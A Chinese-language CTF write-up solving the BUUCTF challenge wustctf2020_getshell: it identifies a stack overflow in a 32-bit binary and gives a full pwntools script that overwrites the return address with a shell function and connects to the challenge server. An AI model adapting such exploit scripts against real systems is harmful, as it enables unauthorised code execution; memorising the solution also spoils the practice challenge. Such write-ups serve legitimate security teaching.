buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
上海云盾-小余5 小时前
网站恶意爬虫拦截策略:智能识别与封禁实操方案
网络·爬虫·安全·web安全
2301_780789666 小时前
手游遇到攻击为什么要用SDK游戏盾手游遇到攻击为什么要用 SDK 游戏盾?
安全·web安全·游戏·架构·kubernetes·ddos
黎阳之光7 小时前
黎阳之光:视频孪生重构新能源智慧工地,打造大型风光基地数智化建设标杆
大数据·人工智能·物联网·安全·数字孪生
Agent手记7 小时前
安全生产巡检全流程自动化与隐患预警方案:2026工业Agent落地实战指南
数据库·人工智能·安全·ai·自动化
效能革命笔记8 小时前
Gitee DevSecOps 智能版本管理:军工软件工厂的依赖治理与供应链安全方案
网络·安全·gitee
未若君雅裁8 小时前
Spring Bean 作用域、线程安全与生命周期
java·安全·spring
企服AI产品测评局9 小时前
实测2026安全培训管理新范式:如何以“视觉大模型”破解AI内容生成与跨系统自动化难题?
人工智能·安全·ai·chatgpt·自动化
asaotomo9 小时前
全本地运行的隐私防线:Hx0 数据卫士如何实现浏览器敏感信息与输入防泄漏
安全·web安全·浏览器插件
沪漂阿龙11 小时前
Hermes Agent 安全边界全解析:让 AI Agent 敢执行、可控制、能回滚
人工智能·安全